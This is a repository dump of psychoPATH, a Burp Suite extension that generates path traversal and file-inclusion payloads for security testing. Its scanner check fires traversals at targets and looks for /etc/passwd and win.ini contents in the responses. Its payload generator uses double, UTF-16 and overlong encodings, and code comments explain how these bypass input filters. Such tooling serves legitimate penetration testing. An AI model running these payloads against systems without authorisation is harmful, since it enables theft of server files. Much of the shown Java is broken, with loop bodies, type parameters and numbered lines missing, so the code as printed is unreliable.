├── BappDescription.html ├── Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf ├── Java ├── build.xml ├── manifest.mf ├── psychoPATH.jar └── src │ ├── burp │ ├── BinaryPayloadIssue.java │ ├── BuildUnencodedRequest.java │ ├── BurpExtender.java │ ├── DirectScannerCheck.java │ ├── Menu.java │ ├── PsychoPATHScannerCheck.java │ └── PsychoPATHScannerIssue.java │ └── uk │ └── co │ └── pentest │ ├── IntruderPayloadGenerator.java │ ├── IntruderPayloadGeneratorByte.java │ ├── PayloadFactory.java │ ├── PsychoPATH.java │ ├── PsychoPanel2.form │ ├── PsychoPanel2.java │ ├── PsychoTab.java │ ├── SimpleDocumentListener.java │ └── psychoPayload.java ├── LICENSE ├── README.md ├── TODO ├── logo_by_Sponge_Nutter.png ├── perl ├── README ├── get_docroots.pl └── sample_results.txt ├── screenshots ├── after_propagation.png ├── docroot_groups.png ├── first_run.png ├── intruder_attack_setup.png ├── lfi_hunting_one_1.png ├── lfi_hunting_one_2.png ├── lfi_hunting_one_3.png ├── lfi_hunting_one_4.png ├── lfi_hunting_one_5.png ├── lfi_hunting_three.png ├── lfi_hunting_two.png ├── new_ui.png ├── new_ui2.png ├── new_ui3.png ├── new_ui4.png ├── new_ui5.png ├── new_ui6.png ├── new_ui7.png ├── payload_generators.png ├── payload_one_setting.png ├── payload_two_setting.png ├── propagate.png ├── results_0.png ├── results_1.png ├── verification_case_2_step_1.png ├── verification_case_2_step_2.png ├── verification_case_2_step_3.png ├── verification_case_3_step_1.png ├── verification_case_3_step_2.png ├── verification_case_3_step_3.png ├── verification_step1.png ├── verification_step2.png ├── verification_step3.png └── verification_step4.png ├── test_cases ├── LFI │ ├── eight.php │ ├── eleven.php │ ├── five.php │ ├── four.php │ ├── nine.php │ ├── one.php │ ├── seven.php │ ├── six.php │ ├── ten.php │ ├── three.php │ └── two.php ├── no_traversal_unusual_webroot │ └── UploadServlet.java ├── uploadbare_traversal_inside_webroot │ └── UploadServlet.java └── uploadbare_traversal_outside_webroot │ ├── META-INF │ └── MANIFEST.MF │ ├── UploadServlet.class │ ├── UploadServlet.java │ ├── WEB-INF │ ├── UploadServlet.class │ └── web.xml │ ├── do_war.sh │ ├── images │ └── 404 │ ├── message.jsp │ ├── upload.jsp │ └── uploadbare_traversal_outside_webroot.war └── usage_examples.pdf /BappDescription.html: -------------------------------------------------------------------------------- 1 |

This extension provides a customizable payload generator, suitable for 2 | detecting a variety of file path vulnerabilities in file upload and download 3 | functionality:

4 | 10 |

More information, including the code and usage examples can be found at http://github.com/ewilded/psychoPATH

11 | 12 | -------------------------------------------------------------------------------- /Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ewilded/psychoPATH/e29eb6b108db004c5e301459233ea2343ba5b19d/Blind_detection_of_path_traversal-vulnerable_file_uploads.pdf -------------------------------------------------------------------------------- /Java/build.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | Builds, tests, and runs the project psychoPATH. 12 | 13 | 73 | 74 | -------------------------------------------------------------------------------- /Java/manifest.mf: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | X-COMMENT: Main-Class will be added automatically by build 3 | 4 | -------------------------------------------------------------------------------- /Java/psychoPATH.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ewilded/psychoPATH/e29eb6b108db004c5e301459233ea2343ba5b19d/Java/psychoPATH.jar -------------------------------------------------------------------------------- /Java/src/burp/BinaryPayloadIssue.java: -------------------------------------------------------------------------------- 1 | 2 | package burp; 3 | 4 | 5 | public class BinaryPayloadIssue extends PsychoPATHScannerIssue { 6 | private String issueDetail; 7 | 8 | private static final String DETAIL_TEMPLATE = "The target is vulnerable to Arbitrary file read (also improperly called LFI)"; 9 | 10 | public BinaryPayloadIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details) { 11 | super(cb,exploitRR,details); 12 | issueDetail = DETAIL_TEMPLATE; 13 | } 14 | public void appendIssueDetail(String text) 15 | { 16 | this.issueDetail = this.issueDetail+text; 17 | } 18 | @Override 19 | public String getIssueDetail() { 20 | return issueDetail; 21 | } 22 | 23 | @Override 24 | public String getHost() { 25 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. 26 | } 27 | 28 | @Override 29 | public int getPort() { 30 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. 31 | } 32 | 33 | @Override 34 | public String getProtocol() { 35 | throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /Java/src/burp/BuildUnencodedRequest.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.Random; 4 | 5 | public class BuildUnencodedRequest 6 | { 7 | private Random random = new Random(); 8 | private IExtensionHelpers helpers; 9 | 10 | BuildUnencodedRequest(IExtensionHelpers helpers) 11 | { 12 | this.helpers = helpers; 13 | } 14 | 15 | byte[] buildUnencodedRequest(IScannerInsertionPoint iScannerInsertionPoint, byte[] payload) throws Exception 16 | { 17 | byte[] canary = buildCanary(payload.length); 18 | byte[] request = iScannerInsertionPoint.buildRequest(canary); 19 | int canaryPos = findCanary(canary, request); 20 | System.arraycopy(payload, 0, request, canaryPos, payload.length); 21 | return request; 22 | } 23 | 24 | private byte[] buildCanary(int payloadLength) 25 | { 26 | // random alphanum string, same length as payload 27 | String chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 28 | byte[] canary = new byte[payloadLength]; 29 | for(int i = 0; i < payloadLength; i++) 30 | { 31 | canary[i] = (byte) chars.charAt(random.nextInt(chars.length())); 32 | } 33 | return canary; 34 | } 35 | 36 | private int findCanary(byte[] canary, byte[] request) throws Exception 37 | { 38 | int canaryPos = helpers.indexOf(request, canary, false, 0, request.length); 39 | if(canaryPos == -1) 40 | { 41 | throw new Exception("Cannot locate canary in request"); 42 | } 43 | int canaryPos2 = helpers.indexOf(request, canary, false, canaryPos + 1, request.length); 44 | if(canaryPos2 != -1) 45 | { 46 | throw new Exception("Multiple canary found in request"); 47 | } 48 | return canaryPos; 49 | } 50 | } -------------------------------------------------------------------------------- /Java/src/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | 4 | import uk.co.pentest.psychoPATH.PsychoPATH; 5 | import uk.co.pentest.psychoPATH.PsychoTab; 6 | import uk.co.pentest.psychoPATH.PayloadFactory; 7 | 8 | /** 9 | * The main entry class that Burp calls to load/unload the extension. 10 | */ 11 | public class BurpExtender implements IBurpExtender, IExtensionStateListener { 12 | 13 | @Override 14 | public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { 15 | PsychoPATH.callbacks = callbacks; 16 | callbacks.setExtensionName("psychoPATH Extension"); 17 | PsychoPATH.PsychoTab = new PsychoTab(); 18 | callbacks.addSuiteTab(PsychoPATH.PsychoTab); 19 | 20 | callbacks.registerExtensionStateListener(this); 21 | 22 | // now we register two intruder extension factories; one for the traversed filename, one for the payload marker 23 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "byte")); 24 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "check")); 25 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "path")); 26 | callbacks.registerIntruderPayloadGeneratorFactory(new PayloadFactory(PsychoPATH.PsychoTab, "mark")); 27 | 28 | callbacks.registerScannerCheck(new DirectScannerCheck(callbacks,PsychoPATH.PsychoTab)); 29 | 30 | callbacks.registerContextMenuFactory(new Menu(callbacks)); 31 | } 32 | 33 | @Override 34 | public void extensionUnloaded() { 35 | //throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates. 36 | } 37 | public static IBurpExtenderCallbacks getBurpCallbacks() { 38 | return PsychoPATH.callbacks; 39 | } 40 | 41 | 42 | } 43 | -------------------------------------------------------------------------------- /Java/src/burp/DirectScannerCheck.java: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | The simple scanner check class for psychoPATH "LFI" mode. 4 | Sends payloads, greps responses. 5 | 6 | /etc/passwd and win.ini are default filenames. 7 | The target OS setting needs to exist in the psychoTab, as it is not the same thing as slashes to use, while there is no point in bashing windows 8 | if we know nix is the remote sys. 9 | 10 | */ 11 | 12 | package burp; 13 | 14 | import java.util.List; 15 | import java.util.ArrayList; 16 | import java.net.URL; 17 | import java.util.logging.Level; 18 | import java.util.logging.Logger; 19 | import javax.swing.ListModel; 20 | import uk.co.pentest.psychoPATH.IntruderPayloadGenerator; 21 | import uk.co.pentest.psychoPATH.PsychoTab; 22 | 23 | 24 | public class DirectScannerCheck extends PsychoPATHScannerCheck { 25 | 26 | private PsychoTab tab; 27 | private IBurpCollaboratorClientContext collabClient; 28 | 29 | private List issues; 30 | private IHttpRequestResponse base; 31 | private IHttpRequestResponse attackReq; 32 | 33 | 34 | 35 | public DirectScannerCheck(IBurpExtenderCallbacks cb, PsychoTab tab) 36 | { 37 | super(cb,tab); 38 | this.tab = tab; 39 | checkHttpService = null; 40 | } 41 | 42 | @Override 43 | public int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue) { 44 | return -1; 45 | } 46 | 47 | @Override 48 | public List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint) 49 | { 50 | this.issues = null; 51 | if(this.tab.psychoPanel.scannerChecksCheckbox.isSelected()==false) return this.issues; // the "Enable Scanner checks" checkbox 52 | IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse); 53 | URL url = reqInfo.getUrl(); 54 | int port = url.getPort(); 55 | boolean https=false; 56 | String host = url.getHost(); 57 | if(url.getProtocol()=="https") https=true; 58 | String urlStr = url.getProtocol()+"://"+url.getHost()+":"+url.getPort()+url.getPath(); 59 | if(!createCheckHttpService(host,port,https)) 60 | { 61 | callbacks.printError("HTTP connection failed"); 62 | callbacks.issueAlert("HTTP connection failed"); 63 | return issues; 64 | } 65 | generator = new IntruderPayloadGenerator("path",tab,true); 66 | 67 | while(generator.hasMorePayloads()) 68 | { 69 | byte[] payload = generator.getNextPayload(insertionPoint.getBaseValue().getBytes()); 70 | 71 | if(payload.length==1) 72 | { //payload generation failed, move onto next command 73 | callbacks.printError("Payload generation failed!"); 74 | callbacks.issueAlert("Payload generation failed!"); 75 | return this.issues; 76 | } 77 | // To avoid Burp's default behaviour with automatic encoding of insertion points in Scanner 78 | // we replaced "byte [] req = insertionPoint.buildRequest(payload);" 79 | // with new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, helpers.stringToBytes(payload)) 80 | // as adviced by Paj: https://support.portswigger.net/customer/portal/questions/17301079-design-new-extension-problem-with-buildrequest-and-url-encode 81 | // with his code snippet: https://gist.github.com/pajswigger/c1fff3ce6e5637126ff92bf57fba54e1 82 | 83 | byte [] req=null; 84 | try { 85 | req = new BuildUnencodedRequest(helpers).buildUnencodedRequest(insertionPoint, payload); 86 | } catch (Exception ex) { 87 | Logger.getLogger(DirectScannerCheck.class.getName()).log(Level.SEVERE, null, ex); 88 | } 89 | 90 | //callbacks.printError((new String(req))+"\n\n"); 91 | attackReq = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(),req); 92 | byte[] resp = attackReq.getResponse(); 93 | 94 | // check the bytes for (depending (or not depending) on the filename in use: 95 | // checking for the presence of the root:x: / win.ini in the response 96 | // ; for 16-bit app support 97 | //[fonts] 98 | //[extensions] 99 | //[mci extensions] 100 | //[files] 101 | //[Mail] 102 | //MAPI=1 103 | String response = this.helpers.bytesToString(resp); 104 | 105 | ListModel scanChecksModel = tab.psychoPanel.scannerMatchRules.getModel(); 106 | 107 | // make sure the string is not already on the list 108 | for(int i=0;i(1); 117 | BinaryPayloadIssue issue; 118 | issue = new BinaryPayloadIssue(callbacks,attackReq,""); 119 | this.issues.add((IScanIssue) issue); 120 | return this.issues; 121 | } 122 | } 123 | } 124 | return this.issues; 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /Java/src/burp/Menu.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.awt.event.MouseEvent; 4 | import java.awt.event.MouseListener; 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | import javax.swing.JMenuItem; 8 | import uk.co.pentest.psychoPATH.PsychoPATH; 9 | 10 | public class Menu implements IContextMenuFactory { 11 | private IExtensionHelpers helpers; 12 | private IBurpExtenderCallbacks callbacks; 13 | 14 | public Menu(IBurpExtenderCallbacks callbacks) { 15 | helpers = callbacks.getHelpers(); 16 | this.callbacks = callbacks; 17 | } 18 | @Override 19 | public List createMenuItems(IContextMenuInvocation invocation) 20 | { 21 | // save selected items host and proto 22 | List menu = new ArrayList<>(); 23 | JMenuItem item = new JMenuItem("Propagate to psychoPATH"); 24 | item.addMouseListener(new MouseListener() { 25 | @Override 26 | public void mouseReleased(MouseEvent e) { 27 | 28 | IHttpRequestResponse[] selectedItems = invocation.getSelectedMessages(); 29 | if(selectedItems.length>0) 30 | { 31 | String host = selectedItems[0].getHttpService().getHost(); 32 | String proto = selectedItems[0].getHttpService().getProtocol(); 33 | PsychoPATH.PsychoTab.psychoPanel.updateScope(proto,host); 34 | } 35 | } 36 | @Override 37 | public void mouseClicked(MouseEvent e) { 38 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 2"+"\n"); 39 | } 40 | @Override 41 | public void mousePressed(MouseEvent e) { 42 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 3"+"\n"); 43 | } 44 | @Override 45 | public void mouseEntered(MouseEvent e) { 46 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 4"+"\n"); 47 | } 48 | 49 | @Override 50 | public void mouseExited(MouseEvent e) { 51 | //PsychoPATH.PsychoTab.psychoPanel.logOutput("method called 5"+"\n"); 52 | } 53 | }); 54 | menu.add(item); 55 | return menu; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /Java/src/burp/PsychoPATHScannerCheck.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.List; 4 | 5 | import uk.co.pentest.psychoPATH.IntruderPayloadGenerator; // the new payload generator class 6 | import uk.co.pentest.psychoPATH.PsychoTab; 7 | 8 | abstract class PsychoPATHScannerCheck implements IScannerCheck { 9 | protected IBurpExtenderCallbacks callbacks; 10 | protected IExtensionHelpers helpers; 11 | protected IntruderPayloadGenerator generator; 12 | protected IHttpService checkHttpService; 13 | public PsychoPATHScannerCheck(IBurpExtenderCallbacks cb, PsychoTab tab) { 14 | callbacks = cb; 15 | helpers = callbacks.getHelpers(); 16 | } 17 | protected boolean createCheckHttpService(String host, int port, boolean https) 18 | { 19 | if((host==null) || ((port<1) || (port>65535))) 20 | { 21 | return false; 22 | } 23 | else if(host.isEmpty() || ((port<1) || (port>65535))) 24 | { 25 | return false; 26 | } 27 | if(checkHttpService==null) 28 | { //HttpService object not yet created, attempt to create 29 | checkHttpService = helpers.buildHttpService(host,port,https); 30 | } 31 | else 32 | { 33 | //HttpService object already created, compare to inputted settings and recreate if different 34 | String currHost = checkHttpService.getHost(); 35 | int currPort = checkHttpService.getPort(); 36 | String currHttps = checkHttpService.getProtocol(); 37 | if(!(currHost.equals(host) && (currPort==port) && (currHttps.equalsIgnoreCase("http"+(https ? "s" : ""))))) 38 | checkHttpService = helpers.buildHttpService(host,port,https); 39 | } 40 | return true; 41 | } 42 | @Override 43 | public List doPassiveScan(IHttpRequestResponse baseRequestResponse) { 44 | return null; 45 | } 46 | 47 | @Override 48 | public abstract int consolidateDuplicateIssues(IScanIssue existingIssue,IScanIssue newIssue); 49 | 50 | @Override 51 | public abstract List doActiveScan(IHttpRequestResponse baseRequestResponse,IScannerInsertionPoint insertionPoint); 52 | } 53 | -------------------------------------------------------------------------------- /Java/src/burp/PsychoPATHScannerIssue.java: -------------------------------------------------------------------------------- 1 | 2 | package burp; 3 | 4 | import java.net.URL; 5 | import java.util.Properties; 6 | import java.util.Set; 7 | 8 | abstract public class PsychoPATHScannerIssue implements IScanIssue { 9 | //IScanIssue fields 10 | private IHttpRequestResponse[] httpMessages; 11 | private IHttpService httpService; 12 | private String remediationBackground; 13 | private URL url; 14 | 15 | private IBurpExtenderCallbacks callbacks; 16 | private IExtensionHelpers helpers; 17 | 18 | private static String ISSUE_BACKGROUND = "Arbitrary file read"; 19 | private static String REM_BACKGROUND = "Don't trust user input."; 20 | 21 | PsychoPATHScannerIssue(IBurpExtenderCallbacks cb,IHttpRequestResponse exploitRR, String details) { 22 | callbacks = cb; 23 | helpers = callbacks.getHelpers(); 24 | url = helpers.analyzeRequest(exploitRR).getUrl(); 25 | httpService = exploitRR.getHttpService(); 26 | httpMessages = new IHttpRequestResponse[] {exploitRR}; 27 | ISSUE_BACKGROUND = ISSUE_BACKGROUND + details; 28 | } 29 | 30 | 31 | //IScanIssue methods 32 | @Override 33 | public String getConfidence() { 34 | return "Certain"; 35 | } 36 | 37 | @Override 38 | public IHttpRequestResponse[] getHttpMessages() { 39 | return httpMessages; 40 | } 41 | 42 | @Override 43 | public IHttpService getHttpService() { 44 | return httpService; 45 | } 46 | 47 | @Override 48 | public String getIssueBackground() { 49 | return ISSUE_BACKGROUND; 50 | } 51 | 52 | @Override 53 | public abstract String getIssueDetail(); 54 | 55 | @Override 56 | public String getIssueName() { 57 | return "Arbitrary file read (psychoPATH)"; 58 | } 59 | 60 | @Override 61 | public int getIssueType() { 62 | return 0; 63 | } 64 | 65 | @Override 66 | public String getRemediationBackground() { 67 | return REM_BACKGROUND; 68 | } 69 | 70 | @Override 71 | public String getRemediationDetail() { 72 | return null; 73 | } 74 | 75 | @Override 76 | public String getSeverity() { 77 | return "High"; 78 | } 79 | 80 | @Override 81 | public URL getUrl() { 82 | return url; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /Java/src/uk/co/pentest/IntruderPayloadGenerator.java: -------------------------------------------------------------------------------- 1 | package uk.co.pentest.psychoPATH; 2 | 3 | import burp.BurpExtender; 4 | import burp.IBurpExtenderCallbacks; 5 | import burp.IIntruderPayloadGenerator; 6 | import java.util.ArrayList; 7 | import java.util.HashSet; 8 | import java.util.Set; 9 | import java.util.logging.Level; 10 | import javax.swing.ListModel; 11 | 12 | /* 13 | * @author ewilded 14 | */ 15 | public final class IntruderPayloadGenerator implements IIntruderPayloadGenerator 16 | { 17 | 18 | ArrayList psychopaths; // the final payloads 19 | ArrayList psychopaths_raw; // payloads before output encoding 20 | 21 | ArrayList traversalsToUse; // the building-unit set derived from the configuration 22 | ArrayList psychoPATHs; // the final list of payloads 23 | 24 | //static int pathInstances=0; 25 | int payloadIndex; // counter for the payload mark 26 | String payloadType; // path or mark 27 | byte[] bytes_raw; // byte payloads 28 | ArrayList bytes_out; // 29 | IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks(); 30 | ArrayList directoriesToCheck; // this is for the verification phase 31 | int payloadMarkerLength=7; // the lenght of the payload marker, a fixed length is safer while injecting into images etc. 32 | PsychoTab tab; 33 | 34 | 35 | // the terminators are: {0,32,9,11}; // nullbyte, space, tab (horizontal + vertical) 36 | // if you want more - for full madness fuzzing - disable the terminators, add another holder after the path traversal payload, 37 | // pick 'cluster bomb' and use 'byte' generator instead 38 | // other options include: 39 | // 'moderate' (should be as moderate as 'moderate rebels' LOL) 40 | // 'full-madness' - all combinations for the most exhaustive testing 41 | 42 | //protected String[] spaces={" ","%20","%25%32%65","%u0020","",""}; 43 | // plain, URL-encoded, double-URL-encoded, UTF-16, overlong UTF 2-byte, overlong UTF 3-byte // ,overlong UTF 4-byte, overlong UTF 5-byte, overlong UTF 6-byte 44 | // must have the same number of elements, otherwise the non-mixed encoding basic variant will get confused 45 | //. = %u002e, / = %u2215, \ = %u2216 46 | 47 | String[] dots; 48 | String[] slashes; 49 | String[] backslashes; 50 | 51 | String[] terminators; 52 | 53 | 54 | boolean intruder=false; // this is only introduced to make the tool aware of where to use the second file name field 55 | 56 | 57 | ArrayList unitTraversalsToUse; 58 | ArrayList basicTraversals; 59 | 60 | ArrayList slashesToUse; 61 | 62 | protected void addWindows() 63 | { 64 | for(int i=0;i getSlashes(String payload) 88 | { 89 | ArrayList ret =new ArrayList(); 90 | 91 | int found_counter=0; 92 | for(int j=0;j getDots(String payload) 106 | { 107 | ArrayList ret =new ArrayList(); 108 | int found_counter=0; 109 | for(int j=0;j getNullbytes(String payload) // this returns possible terminators while identifying the encoding based on dots and slashes 123 | { 124 | ArrayList ret =new ArrayList(); 125 | int found_counter=0; 126 | for(int j=0;j(); 207 | slashesToUse = new ArrayList<>(); 208 | basicTraversals = new ArrayList<>(); 209 | 210 | Set targetDocroots; // this is a merge of the prefixes and targets 211 | ArrayList brutDocrootSuffixes; // we'll also merge all targets into this 212 | ArrayList traversals; 213 | 214 | PsychoPanel2 panel=this.tab.getUiComponent(); 215 | this.psychopaths = new ArrayList<>(); 216 | this.psychopaths_raw = new ArrayList<>(); 217 | 218 | 219 | // the building-unit set derived from the configuration (encoding-aware) 220 | this.traversalsToUse = new ArrayList(); 221 | 222 | // the final list of payloads (encoding-aware) 223 | this.psychoPATHs=new ArrayList(); 224 | 225 | 226 | // generate all the payloads and put them into the arr 227 | targetDocroots = new HashSet<>(); 228 | brutDocrootSuffixes = new ArrayList<>(); 229 | traversals = new ArrayList<>(); 230 | // 0) populate traversals and the filename 231 | ArrayList longestTraversals = new ArrayList<>(); 232 | 233 | 234 | // PHASE #1: 235 | if(this.tab.psychoPanel.slashesToUse=="win") 236 | { 237 | addWindows(); 238 | } 239 | if(this.tab.psychoPanel.slashesToUse=="nix") 240 | { 241 | addUnix(); 242 | } 243 | if(this.tab.psychoPanel.slashesToUse=="all") 244 | { 245 | addWindows(); 246 | addUnix(); 247 | this.basicTraversals.add("..\\/"); 248 | this.basicTraversals.add("../\\"); 249 | } 250 | 251 | // count pattern: slashesToUse = win x1 /nix x1 /all x4 252 | 253 | for(int i=0;i mixedTraversalsToUse=new ArrayList(); 288 | 289 | // OK, this is the 'moderate' mode, can be easily tuned up to provide the 'basic' set as well 290 | // these are the only mixed senacrious that appear to make any sense, there was no point in implementing them in the loop above 291 | // the 'moderate' and 'full-madness' mode will generate a subset of payloads being redundant to this 292 | // unitTraversalsToUse.size() 293 | //for(int j=1;j "../". 440 | 441 | // The purpose of mixed encodings is to bypass such filters by AVOIDING DETECTION of the malicious strings. This concept is based on the scenarios 442 | // whereas input sanitizing is done BEFORE DECODING, or to be more precise, before the last phase of decoding (e.g. some apps mighr decode input twice, 443 | // for the first time before the input is sanitized and then for the second time, before it hits the vulnerable function. 444 | // So: 445 | // 1) %2e%2e%2f is decoded to ../, the sanitizer gets rid of it, end of story. 446 | // 2) %25%32%65%25%32%65%25%32%66 is decoded to %2e%2e%2f, the sanitizer does not get rid of, because it does not decode the string once again itself, 447 | // then the second decoding occurs before the string hits the file operation function -> ../ and we have a traversal. 448 | // This is why the use of different encodings for the whole payload (without mixing!) is quite reasonable (and we are already doing it). 449 | 450 | // Now let's consider the same scenario where MIXED encodings are actually useful. 451 | // E.g. ".%2e%2f/" is not recognized by the input sanitizer, then it gets decoded before use and we get ..// 452 | // 453 | // The only reason for using mixed encodings in anti-nonrecursive payloads is an assumption that we are trying to defeat two separate input filtering 454 | // mechanisms at the same time. It's possible, just less likely. 455 | // So, it would make sense to only encode the elements we are expecting to STAY after the first filter cuts them out 456 | // e.g. if the filter is recursive, but does not perform decodings... but wouldn't such a filter get defeated with a fully encoded string in the first place, 457 | // without any mixing? 458 | 459 | // OK, now I get it. There might be stupid filters that instead of implementing this algorithm: 460 | // 1) decode the string 461 | // 2) check for malicious stuff and reject it or recursively sanitize it 462 | // 3) decode it again 463 | // 4) if the outcome is different from the output from the step 2 (to detect when something was encoded multiple times, e.g. double/triple URL encoding), 464 | // go back to step 2) with the newly decoded string to re-check/re-sanitize it 465 | // if the outcome is identical with the previous result, pass the string (no more sanitization or decoding is needed) 466 | 467 | // they do stupid matching like: check for ../, %2e%2e%2f or %25%32%65%25%32%65%25%32%66 sequences, thus failing to deal with %2e.%2f and the like. 468 | 469 | // Anyway, I still see little to no point in using mixed encodings IN CONCERT with anti-nonrecurrent evasive payloads like ....// to get e.g. .%2e.%2e/%2f, 470 | // but I'm gonna implemented it for for the 'full-madness' mode, which is intended for me and other people who need serious mental help. 471 | 472 | 473 | // Now we load the evasive traversals. 474 | // By the way, this code is supposed to adjust the evasive traversals according to the set of slashes to use ... 475 | // (whether or not we are using backlashes, although we should even as an evasive technique itself,e.g. by introducing "../\" and "..\/" 476 | // as base traversals of both slashes are enabled for use... yeah I just came up with the solution. 477 | 478 | if(this.tab.psychoPanel.evasiveTechniques) 479 | { 480 | this.tab.psychoPanel.stdout.println("Evasive techniques enabled..."); 481 | // read and decode the list of currently loaded breakup strings, if there are any 482 | ListModel breakupModel = this.tab.psychoPanel.breakupList.getModel(); 483 | ArrayList breakupStrings = new ArrayList<>(); 484 | // temporarily add mixedSlashEvasiveTraversals from the panel to the breakupStrings 485 | // we'll implement this properly later on, now I just want more payloads 486 | for(int i=0;i evasiveTraversalsToUse=new ArrayList(); 506 | for (int i=0; i 664 | // 3.2) iterate through @brute_doc_root_suffixes -> 665 | // 3.3) iterate through traversals -> 666 | // 3.4) generate psychopaths 667 | } 668 | else 669 | { 670 | this.tab.psychoPanel.stdout.println("LFI mode is enabled..."); 671 | } 672 | 673 | // FROM THIS POINT WE START TO ISSUE ACTUAL PAYLOADS 674 | 675 | //this.psychopaths_raw.add(fileName); // ADDPAYLOAD 676 | 677 | for(int i=0;i